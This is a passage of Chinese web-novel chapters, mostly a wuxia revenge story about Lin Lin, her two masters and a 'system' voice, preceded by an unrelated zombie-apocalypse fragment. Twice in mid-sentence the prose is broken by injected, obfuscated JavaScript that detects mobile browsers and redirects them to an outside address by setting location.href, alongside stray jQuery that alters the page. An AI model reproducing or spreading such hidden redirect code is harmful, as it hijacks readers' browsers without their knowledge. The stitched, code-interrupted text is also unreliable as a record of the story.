余风意抓紧时间在家族群里艾特了一下大家，稍微说明了一下原委，也不管有没有人回复，着急忙慌的收拾了一下，开始把家里所有的水龙头打开，开始接水，所有充电宝翻出来安上电线开始充电。 不知何时，外面的尖叫声已然少了许多，余风意在窗前皱着眉观察着下面的这群非人生物，这群生物比他曾经在电影里看到的丧尸要难缠许多，脑袋遭受到撞击只会影响到他的行动速度，根本不足以让这些奇怪的东西完全毙命，掉块肉也不会影响到这东西的撕咬力度，他扫视了一眼家里的东西，拿着楼下小孩送给他的弓箭朝着大张着嘴的丧尸射击了不痛不痒的一击，好歹有些准头，也让这个东西放弃了面前的目标，寻找着插进身体的东西的源头方向。 扛着老人家的壮汉趁着这个时机离开了是非之地，余风意握着玩具弓的手松了松，淤积在心底的那口气终于松懈了下来。 敲门声在此时响起，余风意瞥了一眼猫眼，给拎着两个三十寸大箱子的柳云晖开了门。 伴随着门的声响，两个人狼狈的扛着箱子倒在了地上，柳云晖还翻了个身。 23. 柳州行（四） 林霖有些有些漠然的盯着地面，身旁林舒然的哭喊声简直震耳欲聋。而绑架她们两人的绑匪在这种情况下依旧坚持本心，让那群乌泱泱的“家人”们势必在她们两个人中选出来一个。 “不要管我！一定要救姐姐，姐姐才刚回来没多久，我死了没什么，但姐姐可是刚从狼窝里逃出来啊！” 林舒然声音转小，低声啜泣，听得林霖有点想笑。 也不知道她的家人在这种时候为何还能注意到这种细节，林母盯着她似乎上扬了一点点嘴角尖利喊道:“你妹妹在替你求情！可是你呢，你居然还在笑，我们当初就不该把你找回来，你这个白眼狼！” 所谓的侯府世子的未婚夫神情复杂的看着她，从林霖这个角度观察，至少变幻了十多个神情，最终眼里还是饱含了失望，“我真没想到这个时候了，你还要跟舒然争，你这个恶毒的女子，要害你妹妹到什么时候。” 而她的父亲和二三四五哥更是神情激动，“我们选舒然！林霖这个恶毒的乡野女子根本不能和我妹妹（女儿）舒然比！” 听着这五花八门的叫喊声，山匪的刀在她的脖子上紧了紧，割出一条血线。 “既然你们都选林舒然，”山匪反手将刀插进林霖的肩膀上，毫不留情的把她推到山崖边，“那林霖姑娘，你还是去死吧。” 一股难言的冲动支配了她，在倒下去的前一刻，林霖说出了她这辈子觉最恶心的话，“既然这样，此生我们不复相见！” 摔下去的那一刻，林家那一群人的表情可谓精彩纷呈，侯府世子更是跪地大喊“不”。 眼不见心不烦，林霖闭上了双眼，任由自己的身子极速下坠，这群人早干什么去了。 在落地时，一股钻心剜骨的疼痛席卷她全身，随后，一股寒冷的气息将她逐渐包围。 就在意识即将消散的前一刻，一个奇怪的声调在她脑海里响起，“你想要复仇吗？” 她死都想！ 那个声音好像听到了她弥留之际的呼喊，继续说道:“我给你一个改变命运的机会，但你需要把你的未来的安排交给我。” “你想要改变你的命运吗？” “……会比现在更坏吗？” “不会，你反而会成为一个真正的人。” 林霖笑了，“像我这样的人的未来也能有用啊，既然如此，你拿走吧。” 能活下来，剩下的一切又如何呢，抱着这样的想法，林霖彻底昏了过去。 在她昏死的一刹那，一股温柔的蓝光将她包裹，修复着她摔碎的后脑勺和其余各处摔破的肢体，那个声音幻化出一个浅蓝的光影，神情温柔的抚摸着她的头发。 在蓝光将表面的伤痕恢复如初后，光影将林霖托举上岸，让她顺着水流飘向远方。 “你的未来，我真的很期待。” …… 林霖做了一个冗长的梦，干旱的土地，撕裂的天空，以前的爹娘打骂着她，却给她冠以“霖”之名。一转眼，林家人带回了她，给予她温饱，却泯灭了她的生命。 大火炙烤着她的身子，让她迷迷糊糊，每个地方都有火光，她该从哪里出去？ 林霖伸手抹了一把汗，拖着步子朝着火光跌跌撞撞地走去。 似乎有什么声音存在于火光后，只要她突破过去，就能醒过来，就能去复仇。 “这孩子真是烧糊涂了。”男子看着床上的女孩通红的脸颊和嘴里不成语句的话，不由得叹了口气。 “从哪掉下来的知道吗？”女子利落的拧了一块毛巾，搭在林霖头上。 “不知道，要不是鱼钩钩住了这孩子的衣服，我都发现不了她，看样子她已经在这条河里飘了好一段时间了。” 想到此处，男子放下手中的水盆，转头叮嘱女子道:“老傅，我给她抓点猛药，先治个急，你在这里看着她，有什么情况叫我。” 女子摆了摆手，拧着眉头拿下了那块微微发热的毛巾，“老许，你什么时候变得这么啰嗦了？” 听着男子很快远去的脚步声，女子眼里温和下来，“也算你与我二人有缘，若有能力把你救下来，帮你报个小仇也不是不可以。” 在帮林霖脱掉落水衣物时，傅成欢自然发现了她身上密密麻麻的陈年伤痕，这个女孩应是受了家里人的虐待。 连她看到这种伤痕，都有些心惊胆战的。 到底是恨成什么样，才会如此折磨这样一个手无缚鸡之力的人。 “呀，还偷懒呢？” 林霖被吓得一激灵，双手下意识离开桌面。 果不其然，一双筷子重重敲在桌面，敲醒了她浑身上下的睡意。 “砍完柴了吗？这么悠闲，”许秋意摇头晃脑的走到林霖面前，像个私塾先生一样居高临下地望着她，“莫不是把我的教导都当耳旁风了？” “……” “还是你想让老傅教你？” 林霖闻言打了个哆嗦，立马起身夺门而出。 独留下身后那几声放肆的大笑在屋里萦绕。 如若说许秋意是笑面虎，那傅成欢就是一匹狼王级别的孤狼。 这一年半以来，她在许秋意的手底下尚且还能喘息几口气，在傅成欢手底下那是丝毫动弹不得，每一招，每一式，均朝着她的命而来。 于是她正经功夫倒没学到多少，逃命的功夫倒是一个顶俩。 “宿主，别这么泄气，你这不是学的挺好？现在已经可以在傅成欢手底下狠狠喘过三口气了。” “……001，一年半的时间里，我只能喘三口气，这还叫做学得挺好？” 林霖愤恨的将手中的斧子劈向眼前的树干，“照这样下去，我得到什么时候才能报仇啊？” 那道自称为机器声的未知声响又长叹了口气，“你就是为了报仇学这些？” “……不然呢。” “那你就只能进步到这里了。” 林霖停下手里的动作，心里一紧，“你什么意思。” “因为你的对手就只有那种高度，他们甚至都不够真正阴险，真正狠毒。你把他们视为你的对手，你又能强到哪里呢？” 001不再言语，独留下一个心烦气躁的她，心烦气躁的砍着柴火。 她如果不去报仇，不想着报仇，那她又能干什么呢，说得倒是轻巧。 天外来物，坏人道心！ …… 傅成欢静静地喝了一口茶，看着自己的半个徒弟垂头丧气地搬着木头，眼中多了几丝莫名的意味，“被你师父骂了？” “没有，他还没有挺温和的。” “那，这柴为何劈的歪歪扭扭。” 林霖逐渐回过神来，看着冒着木刺的柴，有些失落的蹲下身，“二师父，你说，我是不是进步的很慢，一直以京城里那群人作为目标，这一年多以来，一直都是这种水平。” 傅成欢拿起桌上的刀站起身，轻笑了一声:“不知是何人向你传输这些观点，但你既然有精力想这些东西，想必是练得还不够。” “给你五息，跑的越远越好，别让我抓到你。” 傅成欢话里未尽的意味林霖自然明白，看她二师父擦刀的架势，林霖立马抛下手中的柴火，向着远方竭力逃去。 什么眼力，什么高度，有命才能达成，要是被二师父砍了，她连活都活不下去，还在这里伤春悲秋个什么劲！ 不知跑了多久，她估摸着是到三息了，刚喘口气想回头看一眼，就瞧见一个模糊的白影向着她那个方向袭来，手里提着的东西和地面蹭在一起，闪着些许带亮的火花。 林霖心道，这下是完了，指定不能向前方直直逃跑，更容易被抓住，望着那闪着寒光的刀被傅成欢直直举起，她连忙拐了弯跑进山林里去了。 刚转了弯没多久，“轰”的一声，树木倒塌的声音从身后传来，而她二师父的声音也从烟尘中精准的传向她的耳边，“跑起来，不要停下，若自暴自弃，你也不用出师了。” 林霖绝望的看着眼前的树，一咬牙，做了个决定。 她从地上摸了一把沙子，三两下爬上了树，把沙子和树叶混合在一起，胡乱塞到袖口里。 听着越来越大的声响，她又折了一根树枝握在手里。不能总是逃跑，大不了这一次拼了，她二师父看在多月情谊的分上，说不定还会给她留个全尸。 想着这里，林霖调稳自己的呼吸，尽量让自己和周围环境融为一体，双目死死地盯着逐渐向这里蔓延开来的烟尘。 那道身影逐渐近了，傅成欢手里提着刀，不紧不慢的走到了这片林子里，最终在距离林霖藏身的树前站住。 风静静地吹拂着刀客的发丝，她闭上了双眼，拿着刀默不作声。 或许今日她真能逃脱？林霖握着树枝，丝毫不敢懈怠，紧紧地盯着那道身影。 一有风吹草动，她便立马仍下袖中的飞沙，找机会逃命再是，正好她体力也休养的差不多了。 终于，树下的人动了，她举起了刀，双眼看向林霖藏身的方向，刀柄朝着树上疾速飞驰。 林霖立马离开自己的藏身地，把袖中的飞沙、走石、树叶一股脑的向傅成欢扔去，在地上打了个滚后继续朝着前方奔逃。 没走几步，一只手握住了她的左手手腕，林霖一惊，立马回身，挥动着树枝向那人面门方向直直刺去。 可惜，她还是没有那人动作快。 傅成欢看着林霖的眼睛和脸上的薄汗，捏碎了右手的木枝，眼里多了些许欣赏的意味，“不错，你可以从我这里出师了。” “二师父……” “虽然攻击招数一团乱，躲藏的也不是很到位，但逃跑的样子也有几分你大师父当年的神韵了。” 傅成欢伸手将林霖捞了起来，“一年半，对 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“世上本就没有不散的宴席，你有你要去忙的事，我也有我要继续查的东西，”许秋意的那双眼睛亦如她第一次见到时那样温和，“我和你二师父给你备了些礼物，还有我的医经，也给你誊抄了一份，拿在路上可以观摩，也可以当柴火烧了。” 林霖心里多了些许慌张，一双眼睛里也多了几分惊惧，“那我该去哪里找你们，若有一天……我连你们是谁都不知道！” “宿主，我不是告诉过你，你的大师父是传说中的万毒手吗？” 那声轻佻的机械声线又重新出现在她耳边。 “闭嘴，你说的话能有一句是真的都顶了天了。” 那道机械声笑了几声，不再说话了。 许秋意倒是有些苦恼的揉了揉太阳穴，“我啊，嗯……也没什么身份，倒是没有你二师父有名。你二师父是当年刺杀案里的无归刀客，我最有名的那个称呼也就只是个药师而已。你若想找我们，去京城隐庄，找绣十娘写封信，有缘自然会看到。” 傅成欢摸了摸林霖的头，“我用问题回答你今天的疑问，你若与他们为敌，你该去哪里？你若想进步，你报仇后又想去干些什么？” “我报完仇不能回来吗？”林霖的声音有些艰涩。 “不行，永远都别回来，”许秋意看着林霖的眼睛，神情里多了几分不近人情的意味，“我不想给你收尸，所以，永远都别回来。” 这句话落，三人再未言语。 林霖沉默着收拾了东西，沉默的沿着小溪，骑着马，上了路。 其间再未回头过一次。 倒是001看出了她心底的烦闷，不断挑着趣话说给她听。 “……别吵了，我师父根本就不是什么万毒手，你都是骗我的。” “我没骗你哦，只不过你师父的成名战可是螚止小儿夜啼的程度。一个人，毒死了一个城的人，就连无归刀客都没有这样的本事从城里出来，许秋意做到了，那天的天空都是血红色的，遍地都是尸骨。” 林霖牵住了缰绳，有些不可思议，“你骗人吧，我大师父能干出这样的事？” “他们二人本身都不是什么纯良的人，救你也只是因为你很像他们认识的一个人。” 林霖深吸了一口气，“即使这样，我也感谢他们的救命之恩。” “可是你又一次被旁人当做了其他人，说不定还在暗处与其他人进行比较，最后他们终于受不了了，打算抛弃你了。” “滚吧，乱人道心的东西，动机可能不纯，但他们也是真心待我的。倒是你，因为当初救了我的命，反而现在用一些不确定真假的东西来扰乱我的思绪，你不会是什么邪门的产物吧，驱邪能驱掉你嘛？” 那道声音不说话了。 林霖冷哼一声，骑着马继续奔向远处，想让现在的她因为这点话术就陷入猜忌，真是小瞧她了。 当初她被绑架的那个山崖离京城实在是太远，赶了大半天，依旧距离京城还有大半路程，为了安全，林霖只能随处找个地方啃了几口饼，抱着马休息起来。 夜晚的风很凉，虽然身上穿了一件披风，但还是有些单薄，早知道就带件薄被出来了。野外露宿可真不是一般人能干得了的事情。 累了一天，虽然脑海里思绪繁多，但也沉沉睡过去了，只是梦里总有很多道声线，她抓不住是谁，许多张面孔交织在一起，最终汇聚成侯府瘸腿世子顾霖洲狰狞的面孔。 你永远也别想摆脱我！ 林霖恍然惊醒，醒来时，天边悄然泛起一丝鱼肚白，看起来卯时刚过没多久。 真是见鬼了。 林霖困倦的摸着马肚子，头一点一点，刚想要重新睡过去，一道有些清亮的声音朝着她这个方向传来。 “姑娘，你怎么睡在这里，你也是去京城参加赏花宴的吗？” 听到声音，林霖彻底睁开眼，有些警惕的朝着那个方向望去， 24. 柳州行（五） “我给你找了一个帮手，如有麻烦可以和她接应，让她帮些不大不小的忙。” 林霖此时回想起柳逢青说这句话时的神情，才隐约察觉到她那隐藏到笑容背后的一丝同情。 她看着旁边无措的看着自己的小姑娘，深深吸了一口气，“你先告诉我你会什么。” “姐姐，我会绣花！还会扔针！” 算了……不该和小孩子一般计较。 林霖拎着祝苑的衣服领子顺着墙面来到了屋顶。 “看到那边的光了吗？” 祝苑点了点她的脑袋。 林霖摸了摸小姑娘盘成丸子的头发，“乖阿苑，在这里等我，我去去就回。” “姐姐，咱们不再去求一求城主吗？” 林霖想起把他们赶出去时，齐天琮那张拽的不行的臭脸，冷笑了一声，“不求了，求人不如求己，我去去就回。” 祝苑趴在屋顶，看着林霖快速远去的身影，小小年纪的她，心中竟生出一股萧索孤寂的情感。 好无聊啊，今天没带花绳，该怎么度过接下来的时间呢…… 正在屋顶飞速奔走的林霖打了个喷嚏，生出了些许疑惑，到底是谁在这个时候惦记自己。 想到这里，她不禁有些忧心，自从她来到地府后，她就再也收不到钟不为传来的消息了，莫非是这人出了什么事。 “到换班时间了。” 林霖蹲在屋顶上，看着下面穿戴面具的守卫窃窃私语着交换信物的流程，不由得皱了皱眉。 密语加信物，不好办啊，看来只能硬闯了。 想到这里，待其中一个侍卫走远了一些后，林霖翻身跳下屋顶，将收拾装束毫无防备的侍卫打晕，屏气凝神换上了他的甲胄。 在打开身后那扇门时，林霖总算是知道为何这里守卫这么少了。 看着两边的茅草与中间的沟渠时，林霖僵硬着脸，将门关了回去。 齐天琮这人有病吧，就连茅厕也要派人把手。 林霖心生恻隐，没有把被打晕的这位仁兄扔到门里，而是给他喂了颗密药，裹吧裹吧塞到了草堆里。 有了这身衣服，一切都容易了许多，大部分侍卫在看到她时第一时间都不会有太大戒心，而她总是用蓄满力的每一个手刀和刀鞘迎接每一个侍卫。 直到来到大殿门口时，她心中才多了些许踟蹰。巡逻的侍卫一队接一队的在她眼前一一走过，没有任何破绽。 “你想要破绽？” 一道熟悉的声音出现在她身后，顺手将被吓了一跳，即将跳起来的林霖拽了下来。 林霖望着钟不为有些苍白的神色，不由得一惊，压低声音问道:“你没穿戴面具和衣服？怪不得神色这么差，我给你找一套……” “不必，”钟不为取下了腰上的剑，神色淡淡，“我说过，我会保护你，直到你完成你的目的。” 剑刃与剑鞘摩擦的声音虽然轻微，但难掩它出鞘的那一刻，所释放出的锋利与寒芒。 “我出手的那一刻，你就直直往前冲，我给你破开一条路。”钟不为看着殿门前已经有些警觉的侍卫，“不必担心我，死不了。” 林霖低声叹了口气，“那就靠你了。” 既然劝也劝不动，那不如不浪费这片好心，直取要害。 殿门巡逻的侍卫还在依照队列，训练有素的打量着周围，监守着每一刻动静。 这一望，他们就看见了一个穿着暗红色衣服的年轻男子，手里的剑在地府灯笼的映照下，散发着森森的寒光。 钟不为半张脸隐藏在阴影里，看着面前乌泱泱一大群警戒的人，问道:“你们是要一个一个来，还是一起人。” 此人非善类。 这是巡逻队的侍卫长，宋寻锋第一时间的想法。 “看样子，是需要我来动手了。” 这人速度极快。 宋寻锋狼狈的挡下那一击时，只觉得握着刀的手开始发麻，这种麻意迅速蔓延至脸上，让他浑身不由得开始战栗。 “我并非是为了杀你们，”钟不为一个巧劲将宋寻锋击退，“所以别挡路。” 一个更快的身影从他们面前一闪而过，朝着远处的宫殿里奔袭而去。 巡逻队的众人一惊，也来不及管面前的钟不为，直直朝着那道影子奔去。 跑到最前面的一个人，只感觉一道巨大的力度，随即他就被扔到了空中。 钟不为将想要上前的几十个人借力打力，有一个是一个，全部用脚踢，用手扔了回去。 “我说过，别过来，此路不通。” 林霖稍微瞥了一眼身后的情况，随即放心的继续向前奔去。 她的速度实在是太快，动作实在是太熟练。 即便是有靠的很近的侍卫，有心想要抓住她，但只是一眨眼的功夫，林霖就已经跳到了树上或是墙上，向远处飞奔而去了。 怎么这么快！ 陆杏气得锤了一下大腿，甚至有些开始怨恨为什么齐天琮要种这么多树，要建这么多的房屋了。 她扔掉了手中碍事的刀，迅速追了上去，“宋寻锋！你死的吗，能够让这么大一个人窜过去！” 不远处的宋寻锋叫苦不迭，“姑奶奶，我也没办法啊，我这里还有一个人呢！” 虽然他这么说，但内心的耻辱与不甘还是窜上了他的内心，他们几十个人，竟然就被这么两个人耍得团团转，就连火箭与投石也拿无可奈何。 何其可恨！可悲！ 殿内闭眼休憩的齐天琮听到外面的动静，非常不爽的睁开了眼，“外面这是在干什么，搞爆破吗？” 站在他身旁的人叹了口气，“看样子是有人闯进来了。” 齐天琮皱了皱眉，“非要挑现在，本来就没剩下多少人。” “是我出手还是你出手？” 齐天琮瞥了身旁人一眼，奈何斗篷把他罩的太严实，他丝毫表情都观察不到。 “哼，我来吧，你听听你带来的人被打的屁滚尿流的德行，侍卫随主，你也不是个靠谱的德行。” 斗篷人听着嘈杂的声响里，属于宋寻锋的那一份声音，忍不住又叹了口气，看来回去后，要给这人一些教训了。 这些天他们活得看来很安逸，竟能让外人随意混进来。 林霖推开殿门时，就发现齐天琮臭着脸和斗篷人一起盯着她。 发现在她身后再也没有另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169510|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人进来时，齐天琮惊呆了，怒喝道：“陆杏！你是废物吗！” 外面无一人答话。 “别喊了，要是她真能被你喊醒，我迷药白配了。” 林霖站在那里，望着站在上面的两个人，“我还是那个需求，我想要求鬼医帮我一忙，给我朋友解个毒，不知城主是答应还是不答应。” 齐天琮冷笑了一声，“你这是讲条件的语气与态度？” 林霖也笑了笑，但是有面具遮挡，这笑容也只有她自己能知道，“当然，若我不想与城主讲条件，那我刚才就是直接踹门进来，并非推门进来。” “不知城主能否明白我的一片诚意？” 看着林霖黑白分明的双眼，齐天琮气笑了，“你的诚意我没看见，你的杀意我倒是看见了，和我打一架，要是你赢了，我就让他帮你朋友治病。” 林霖望着他身旁的斗篷人，“那我输了呢？” “不如给我的药田当花肥，血肉滋养出来的花一定特别艳丽。” 斗篷人的话音刚落尾，一枚飞镖就朝着林霖的面门飞袭而来。 一股清淡梨花夹杂着血腥的气息将林霖抱了个满怀，也将飞镖打落在地。 齐天琮冷笑了一声，“我与林小姐的打斗，你参与进来干什么，闲得没事干？” “每个人有每个人的专长，”钟不为将林霖挡在了身后，“她适合轻功，我适合打架，所以我来替她打。” “你有什么资格帮她打架，”斗篷人有些好奇，“你是她什么人？” 许多个词句在嘴边转悠了一圈，没有一个被钟不为说出来。 林霖抓着钟不为的衣袖，叹了口气，答道:“我与他之间有心照不宣的秘密，是以比好友更亲密，却未曾达到伴侣的程度，这个解释你可还满意？” 齐天琮怼了怼身旁的人，“跟你说话呢，问你满不满意。” “……你满意就好，”鬼医在齐天琮走下台阶后，坐到了齐天琮的位置上。 “我跟你说，你给我离开那里，”齐天琮冷下音调，他心情一不好，就喜欢乱扔武器，“要是打完我看见你还在那里，你就等着被我喂猪吧。” “至于你们，”齐天琮看着钟不为因失血过多而苍白的脸，以及一脸戒备的林霖，难得温和的笑了一下，“一起上吧，我正好还缺一个磨刀石和一个灶台，死了正好能拼凑出这些东西。” 无数飞镖向他们席卷而来，而林霖在齐天琮行动前，完全没察觉到这人的杀意。 于是她离开的慢了一步，只能留在原地，被动的将飞镖一一打落在地。 “不错的手法，但不知你的同伴能坚持到什么时候呢？” 钟不为吐了一口血，将卷入肉里的飞镖拔了出来，“不知城主是否知晓红叶剑法。” 齐天琮摸了摸自己衣袖，发现没有飞镖了，只好从腰间取下绳子，拿在了手中。 “我自然是不知情，你不如给我说说看？” “昔日镇北将军忧虑自己在受伤时无法击杀敌人，于是创下了红叶剑法，”钟不为拿剑在伤口上复加了一道，“越受伤，越兴奋，越强。” “劳烦城主看看，我现在对上你，又有几重胜算。” 25. 刀剑无眼 “哦？你若能近我身，也是你的本身。” 齐天琮哂笑，手中的绳子扬起，直直朝着钟不为飞来。 钟不为抬手抵挡，却没预料到这鞭子冲的是他肩头的飞镖。 终是慢了一步，他捂着汩汩流血的肩头，眼中更加谨慎。 齐天琮将飞镖撇到鬼医怀里，“收好，我这东西可不便宜，能收回来多少算多少。” 鬼医无奈的截住了飞到眼前的飞镖，两根手指被震得隐隐发麻，“我看你是想把我弄死。” 齐天琮不理会鬼医的低声絮叨，看向林霖，“身法不错，但你出手太慢，没有学到傅成欢半分神韵，若是换了你师父来，现在落到地上的就是我的人头了。” 见齐天琮没有向他们出手的意图，林霖知道此人目的不为取他们性命，却也不愿意如此轻易地给他们想要的东西。 她附在钟不为耳边，轻生问道:“你怎么样？” 钟不为轻轻摇头，脸色更加苍白，“来这里时中了毒，用不出来全部的力气。” “我记得你有一瓶丹药，能够帮助人暂时汲取一些气力，”钟不为难得露出些许笑颜，靠在林霖臂弯里轻声道:“借我用一用。” “我是为了救钟子卿，你与他不和，何故如此拼命？”林霖深深望着钟不为，思绪纷繁复杂。 看着林霖的神情，钟不为感到了些许慰籍。 “放心吧，我与他都没那么容易死。” 只不过可能会武功尽废，再练就是，也不是第一次了。 “那我就自己拿了。” 林霖深吸了一口气，感受着钟不为微微发颤的手臂，制止了他的动作，“我来，你好好休息。” “你们论好了吗？我也不是喜爱拆散鸳鸯的人，”齐天琮看着两人“你侬我侬”的模样，不由得“啧”了一声，“实在不行你们走？” 林霖脱下身上繁复的衣服与面具，“非常时期用非常手段，还请城主理解。” 飞镖上涂了毒，既然如此，她也没必要再用正当手段来取得想要的东西。 “你竟是林家的人，”鬼医凝神打量着林霖的眉眼，“没想到那两个倒卖尸体的腌臜货色，也能生出来侠义之人，真是没想到。” “林家的，”齐天琮神色渐渐冷了下来，“我记得我曾经告诉过你们，别踏足我二人所在的地方，就算踏足也别让我看到你们一眼。” 林霖嗤笑到，“我林霖从未享受过林家的富裕与权利，顶多算是仰仗了他们的鼻息，在他们手下过活，这一个个债与孽却轮流找上我的门。” 想到这里，林霖不愿再多说一句，只提着剑飞身向齐天琮面前闪去。 纠缠了几招几式后，齐天琮的鞭子将剑缠了个紧，林霖索性丢掉剑，借着力道跃到了空中。 狠下心将一个瓶子拿了出来。 这瓶子是许秋意交给她的，告知她非必要时刻，一定不要打开。 她当时问他，若是不小心打开了该怎么办？ 许秋意那时笑得苦涩，“如果你并非决意打开，那它永远也不会打开。若真打开，方圆百里，鸟兽尽亡，生灵涂炭，血流成河。” 鬼医看着林霖手中那个熟悉的瓶子，脸色大变，“他输了！我同意给你好友治病！” 齐天琮咬牙切齿的收回了鞭子，“我输了！不带来这么阴的！” 这种类型的非常手段他可接受不了，哪有人打着打着就打算与别人玉石俱焚的。 鬼医站起身，脱掉斗篷，露出一张与齐天琮几乎一样的脸，只是比起齐天琮来，这人多了几分温文尔雅的气质。 钟不为用剑支撑起身体，将林霖接了个满怀。 “你接我干什么？你还受着伤。” “要是不接，你就飞出去了。” 看着钟不为状似无辜的双眼，林霖冷呵了一声，弹了他个脑瓜崩。 “下次你再这样试试。”林霖整理了一下衣摆，将瓷瓶珍重的放了回去。 大殿里顿时响起两个人松了一口气的声音。 “我相信你是那两人的弟子了，一脉相承的不要命，”齐天琮招了招手，“我让齐天骄给你们治病，下次有这种手段朝着外人去用，我可受不了这东西。” 齐天骄长叹一声，“真是英雄出少年，我不服也不行了。” “是我用了些阴私手段，比起武力，还是比不上二位城主。” 看来这二位也没传说中那样不和。 “你先扶你身旁那位过来吧，”齐天骄此时才明白为什么刚才林霖那么愤怒了。钟不为的肩头正往外流着血。 他的衣裳早已吸饱了血，被林霖搀扶着过来的路上开出了一朵朵浓稠暗色的花。 林霖闻着这股血腥味，心里更加担忧了，“你怎么受了这么重的伤也不吭声。” “我其实对痛不太……” “那也不行，”林霖加重了语气，又重复了一遍，“那也不行，受了伤就要说出来，你这么忍下去，哪天你死了我都不知道，你还想让谁给你收尸。” 钟不为一声不吭。 但林霖的眼神实在是盯得他浑身发烫，他只好应了一声，“知道了，下次不会了。” 齐天琮擦着飞镖上的血，听着这两小孩的窃窃私语，不禁觉得有些好笑。 这两人才多大，相处起来怎么老气横秋的。 无双殿的后面是齐天琮真正的居所，不同于外面大片的荒凉与阴气森森，这里虽小，却处处透露着温暖与人烟。 只是建在地下，没有太阳与月亮，呆久了也会显得憋闷。 “齐天骄要准备一下东西，你们喝点什么？” 齐天琮看着两人凝滞的氛围，恨铁不成钢是摇了摇头，“不就是脱个衣服吗，钟不为你这小子扭捏个什么劲。” “城主说得对，”林霖看着钟不为笑得一脸纯良，“你要是不脱了，我就一刀一刀给你剪了，让你从内市裸奔回城，不知你感想如何。” 看着林霖拿着剪刀的另一只手，钟不为不情不愿的将衣服从伤口上撕下来，“无耻至极。” “不就是一件衣服，等会给你买一件？” “这是阿双送给我的衣服，”钟不为面无表情的看向林霖，明明没什么表情，但林霖就是感觉出了那股委屈劲，“唯一一件，剩下的都给钟子卿了。” 林霖看着他黑紫色的伤口，叹了口气，“我给你买一件新衣服。” “我知道你没什么银子，把你捡回来的时候，包袱浸了水还是比之前要轻，”钟不为看着她说道:“你要不还是……” “你不嘲讽我了，但嘴毒还依旧存在，”这下轮到林霖面无表情了，“我难道不知道我没钱吗，把嘴闭上，我说能给你买就是能给你买，你还敢继续质疑我？” 屋子里三个人一个都不说话了，钟不为是不敢，林霖是气得，齐天琮是尴尬的。 这一对小鸳鸯吵架为何还要带上他，在这里呆也不是，不呆也不是，齐天骄死哪去了，拿个药要这么久。 齐天骄带着药和万事阁阁主回来的时候一共收获了三道视线，钟不为欲言又止的，林霖阴气森森的，以及自家弟弟幽怨愤怒的。 但这三道视线在接触到他身后那人时都化作了统一的茫然。 “小叔叔！”这是欣喜的齐天琮。 “小叔叔？”这是惊愕而茫然的林霖与钟不为。 齐星诚只感觉自己突然压力山大，身上肩负了带着四个侄儿的重任。 他咳嗽了几声，用凝重的神色盯着较为陌生的两个侄儿，“哪个侄儿是要找我问消息的？” 林霖举起手，神色真诚的看向齐星诚，“是我，小叔叔。” “不要乱叫，乱了辈分，”齐天琮不赞同的说道，他指了指自己和齐天骄，“我们该叫他小叔叔。” 他又指了指林霖和钟不为，“你们该管我叫哥哥，或者叔叔，所以……” 承受着四道视线，齐天琮的脑子逐渐宕机，他不自在的换了个坐姿，捋了半天也没捋清楚叔叔的叔叔该叫什么，或者哥哥的叔叔该叫什么。 “辈分这件事以后再谈，”齐天骄来到钟不为神情，有些凝重的看着他发紫的唇与指甲，“你们三个先出去，小琮去溜溜弯，小叔叔和林林去外面谈事情。等结束了，我再去找林林的朋友。” 林霖一脸茫然和遗憾的跟着齐星诚走了出去，她还没有搞清楚辈分的关系，也不知道以后有没有机会搞清这些。 “听青青说，你想和我打探林家的事情？”齐星诚揉着有些发疼的额头，疲惫的靠在柱子上。 “是的，不知阁主是否知道他们的下落。” “他们去了齐国，齐国的国君愿意收留他们，为自己培养出能够以一当百的不死战士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177623|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”齐星诚看着幽绿的灯笼出了神，“这两人在梁国的时候没为他们带来什么好事，去了别国反而鞠躬尽瘁，为他们立下犬马之劳。” “所以说林述将军找您是为了……”林霖一愣，心中有了些许猜测。 “是啊，她怕打不过，”齐星诚有些怅惘，“她不是没有打过败仗，但败了后又会重新燃起斗志，将失去的一切重新打回来，但这次她是真怕了。” 战了百多次的将军，平定过一个王朝的将军居然会惧怕一场战争？ 不仅是齐星诚，就连林霖也觉得不可思议。 “儿时之事终将成为梦魇，她所有的一切都因为这个不人不鬼的东西被带走，就连当年那群人死后，也没有在梦里放过她，”齐星诚的话语里藏着难以言说的悲痛。 “你真的要去找他们吗？为了什么呢？” 这句话不止齐星诚一人问过她，柳逢青，子卿也同样问过她这句话，找他们到底是为了什么呢？ “午夜梦回时不在梦见那两张饿得肿胀的脸，将不人不鬼的女子和她相依为命的孩子带出来好好安葬。” 林霖蹲下身，看着地上那些随风摇摆的杂草，笑了，“其实都是为了我自己，我想过安生日子，即使是现在，我还能感受到一切事物都束缚着我，他们一日不在，我一日就动弹不得，得避着他们走。” 若非她一手清理干净，做梦时她都会想着那些事情。 如果被人发现自己能够牵制林家人的行动，会不会被人绑了去前线当诱饵？ 又或者是林家人自己发现了这件事情，先把她制成那些东西，让她把好不容易抢回来的命重新带走？ “宿主，其实你可以去逃避的，我说过，你逃避一切，到林家人消失的那一刻，你再回来，依然可以快乐的活着。” 林霖第一次没有因为001的突然出声而被吓到，她只是问，“他们死了，你还在。和你同一个层级的东西也依然存在，你告诉我，如果不是我，那谁是下一个我。” “……我其实跟宿主说过，钟不为就是下一个宿主，”001的语气透露着些许亲昵，“若宿主没有成功摆脱自己的命运，那我就会清除钟不为脑内一切关于你与我的信息，让命运回归正规。” 